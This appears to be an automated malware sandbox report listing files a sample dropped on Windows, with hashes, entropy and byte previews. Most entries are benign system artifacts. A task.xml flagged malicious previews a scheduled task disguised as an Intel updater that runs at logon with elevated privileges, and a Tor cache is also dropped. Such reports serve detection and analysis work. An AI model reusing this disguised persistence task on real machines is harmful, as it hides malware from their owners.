SSDEEP:	3:35zQbNqOBfj1+8nQuyXF4NqOBfj1+XyXFQ:J8wOBfjwuyROBfjiya
MD5:	708A6AA2627D5D851A5DF9CA4E7525E5
SHA1:	E6A88F8BA5F21D56BD521CA2F3EADE4E62C85145
SHA-256:	C42B408E0207E2F4075375435FA1C7257937B745618ACF4DEB312C6FBFF8D183
SHA-512:	3B21AA205C4CE37BECAF9E968C39D27714DB613CEE5263B3CC562F8FF7F17B8D7C30DA44CD8D65ACAA93D4A8FA19159E630C73F6433F139F71E6E477CFF9B9CE
Malicious:	false
Preview:	Is from dll: True..Is installed: True..Admin mode: True..Is from dll: True..Override: True..Is installed: True..Admin mode: True..Override: True..

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xKdoaaD0JOCEfMuaaD0JOCEfMKQmDCexKdoaaD0JOCEfMuaaD0JOCEfMKQmDC:6aaD0JcaaD0JwQQHaaD0JcaaD0JwQQ
MD5:	C788EDB928436D0CE10A5BF198837D8A
SHA1:	F104B6AB797E0B16362BFB69F5000407CE6EFFD8
SHA-256:	E309925E38D727B91C5B0AD9FC86A778ECD0EBE80261F55E870AD6685B0CC0BD
SHA-512:	61F750C97F2E1EAF623486147F55B4BF39C34DF28DD124FA378973965A2AE0AAA967D71C88BE0D02E1B2D2B22E20199B9E817BE793A10C0CC9D12FE703E18CF2
Malicious:	false
Preview:	*.>...........k.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................k.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7303853388639643
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH08:9JZj5MiKNnNhoxu1
MD5:	F90441F3CFD292BBB305ACD1C410C6BC
SHA1:	4F3771BEFA20248F123BC4F2D99724C5257718EB
SHA-256:	3833093AA4BE54EC59D6EE8A6B68E8776C88001EC0056CD2AAFDE96169C9DD1E
SHA-512:	4D037CCB611AB5A6F0D3710BA61E1DABAADE20C0DF87854807DA33311914AD1227C84F38AA491550C0F2543665BA2F7E6A946D9E3AABC30127048A9EF569DA91
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xeacf9fc1, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6291239703991993
Encrypted:	false
SSDEEP:	1536:fSB2ESB2SSjlK/HZH03N9Jdt8gYkr3g16l2UPkLk+kDWyrufTRryrUOLUzCJ:faza9iJa+2UtmOQOL
MD5:	B890149C2DBB4CC9D0C4CA16EAB09FAD
SHA1:	D33EED1FAEF49E2003ADE11F244B3CEA0377FC0C
SHA-256:	50221707A0B3831000F4CC5A295F8DF20BCCA7F2ED545389CEA2395467FB714C
SHA-512:	799F8FB0B7F951C3E5EA0E3C78524F63F380A208F54BCFFEB3895CE38861A7101F750707DCCDBCDD1023C9005AF4E71D6C5650DBCA75871895C029B4922C7201
Malicious:	false
Preview:	...... .......P.......X\...;...{......................0.j......5...\|q..2...\|..h.g......5...\|q.0.j.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................1..0.5...\|q...................qV.5...\|q..........................#......0.j.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07896836052991954
Encrypted:	false
SSDEEP:	3:/Ci/OetYeV4a+StVlIs29Qs2TUVtAllHol///lZMPCyH:nrzV4a+StXH29+YVtApo5
MD5:	B9C56510241BF42695B41AD75B807FBF
SHA1:	6D9F88D1FF6B8DAA84045B62C7A0C58E442E0A74
SHA-256:	2951AA04EDAD4CD340BAD13D73366E3BF6518BB6FBBC62C4F7C58D567F2275E8
SHA-512:	107F2AEB69231FDEA3FB3987D652F65FA70D85575EBCFE55FB1200A692F505D2AAE39E652EE8DA42C89D0D3CBD6B5806B436B11F1E919F17685E72FAD1782705
Malicious:	false
Preview:	........................................;...{...2...\|...5...\|q..........5...\|...5...\|q....].5...\|Q...................qV.5...\|q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_JkI_c6e3338ebf5af9688df4e7add6059d17246672_863277aa_cbe825d4-27bd-4f75-92a7-96665d7814b5\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7812665238255391
Encrypted:	false
SSDEEP:	96:elF6QnG3+i4yKyrsjp4RvyCj06tQXIDcQqc6rcEgcw31XaXz+HbHgSQgJjio8Fxc:yNGui4yr40kv6Jj5ZzuiFWZ24lO8Ef
MD5:	1D60160E585F9DDB9B5D4CABA794E5E3
SHA1:	12069AF33B009EBA9DA5E85A16E81F0360B527C8
SHA-256:	93A6F3AC0E674BEB66518C905DE701AD5BD9145F262EB981BCAFD802E1083B5D
SHA-512:	9D95EEBC8991526FC2CE5E401E521412DBEEBCC6AB5DE552A057F41122E207D752C38D38E06E31C195D7EBEBEA0D17B24C484EA308832BD72D59C4956E791B96
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.0.6.1.6.7.6.3.2.8.8.1.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.0.6.1.6.9.2.2.6.6.2.4.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.b.e.8.2.5.d.4.-.2.7.b.d.-.4.f.7.5.-.9.2.a.7.-.9.6.6.6.5.d.7.8.1.4.b.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.4.3.9.9.4.1.7.-.1.6.1.0.-.4.5.e.b.-.b.c.7.2.-.3.3.d.a.2.d.2.f.c.d.d.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.J.k.I.C.Q.1.3.O.O.Y...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.3.4.-.0.0.0.1.-.0.0.1.5.-.9.9.f.6.-.7.8.5.7.7.1.5.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.d.3.9.9.a.e.4.6.3.0.3.3.4.3.f.9.f.0.d.a.1.8.9.a.e.e.1.1.c.6.7.b.d.8.6.8.2.2.2.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10A0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8590
Entropy (8bit):	3.7008017609191746
Encrypted:	false
SSDEEP:	192:R6l7wVeJUeFCq6YsQEH4gmfmp9prv89b9QvfSE/m:R6lXJFV6YZEH4gmfmpQ9gfSx
MD5:	C7669843A221688C11D9E9400E1DCB07
SHA1:	3FD4A883C59B7B5E04725D3BB0EF5DC412ED3CC4
SHA-256:	D73D039EA702539C0C15462E8BF1D0C65C12C207C70AE2F2E7F8C54C5BB7A067
SHA-512:	1A6541C77AB4057EE1D90F902A61CCB9C85ED4CA2CA3B5EBE30337CA093C1AF9F001BCA2471B4CA0EF7363E3AC56974E172FD693FF2CCBA112714DFDCB4FA233
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER111E.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4872
Entropy (8bit):	4.498912539741435
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMJg771I9IC6WpW8VYvYm8M4JCuC8OhnFfPyq8vh8OheptSTSWd:uIjfKI7677VPJIWUpoOWd
MD5:	BD215A02BEB5A5AD9564F16FE34FABE5
SHA1:	2D21103538F13C01A0B19B08C71CED47676147CF
SHA-256:	286A5AF6675F45C0B15EB54C2357C5E89439528D7F0C29E33908C0024DFB48CE
SHA-512:	189C0D3CF70F0FACFAA13E85C930EBFEED26FB3E3EEE7422DEE22EFD73A734BFBCC6FF0E758D1B71C97AF0FD12F2BB788D0CF9730F933EDEBB5BAA930A7DC044
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="635152" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF76.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Dec 17 10:49:27 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	57186
Entropy (8bit):	1.635933312886786
Encrypted:	false
SSDEEP:	192:EHxgd0DGOMCxNMx7L5tQ3p67nJdMJ/zLeHM9MAeM5SgcgHfur:4gdOxNMx7dtQ3p6FCdPAM9xeM5Slsf
MD5:	4715E2ACEDE4FA97DCA670D9D29B75B0
SHA1:	1445817F848FB7E9016862F8E23D4F7D65AA91BC
SHA-256:	444792CE9A055F9452660943814D9E4A9E613C31B46838484CCC39F212075524
SHA-512:	F00DE5AC2CE03D572ADF8D614D848ABA8D24987A2139447DF4F889BE86E650B7B4EC1446C8E35C219EE5DEA5A181E767BBC7B6D6A7919BDF26F2A4B9889B281B
Malicious:	false
Preview:	MDMP..a..... .......7Wag........................$...............**..........T.......8...........T...............R.......................................................................................................eJ......D.......Lw......................T.......4...6Wag.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pdgw0jz.t0x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30jlfai4.ulb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3pzadsr2.pvs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5pvped03.gyn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ttcwkt3.qsm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aslvx5at.itb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_essst124.3nv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ikdw51z3.fxi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jvqladtn.hs4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1nevhfw.mrl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snzbldxn.q2i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgclasbk.swh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2lnfnzx.fvr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yjprde3a.chi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\task.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.15908817804323
Encrypted:	false
SSDEEP:	48:cbeMNuaCAQEPL60uydbzxIYODOLedq3wlADu:yeMQaKEu0uydbzedq3nDu
MD5:	32402D0052F6930BB0AA64E2FF9B9D5F
SHA1:	CCE094FFA540204569A9425D1501914339D78827
SHA-256:	4A0F17AF86E62C34548CEABC4F391AEF3A772A09B6D1817328087D9F314A6F8E
SHA-512:	21D2331E1A7A9AFDAB6898FB584609316F500592DB66FDE212EE09D83AE601521B2EC35A148CC2D3EDAD376D73B687D7A29FB274575267380B107D498EEE3092
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2020-06-16T00:19:43.93255</Date>.. <Author>Intel</Author>.. <URI>\InterProfileUpdater_Helper</URI>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. </LogonTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <GroupId>S-1-5-32-545</GroupId>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <Re

C:\Users\user\AppData\Local\torproject\Arti\cache\dir.sqlite3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, file counter 20, database pages 6260, cookie 0x8, schema 4, UTF-8, version-valid-for 20
Category:	dropped
Size (bytes):	25640960
Entropy (8bit):	4.904796492032457
Encrypted:	false
SSDEEP:	24576:HClzmYAFJvDTB6PwvkdL5FqaSWtg10CW2xCr0pbqFxZqzyVFUp52liYgJKS0PfUx:szZ4HuD4Bs4ADXABaBt5vAe7J6UO
MD5:	A489615AA25AA3B4CF1963B1AC2F9490
SHA1:	8D161D6D72EB461FFC67AAC6ACF82D48AE16EC3C
SHA-256:	AFFDCB7E99DF5B5DFEE3C6C97DFAE9A78D202B7AAD41D083EFA915AD51AC4D98
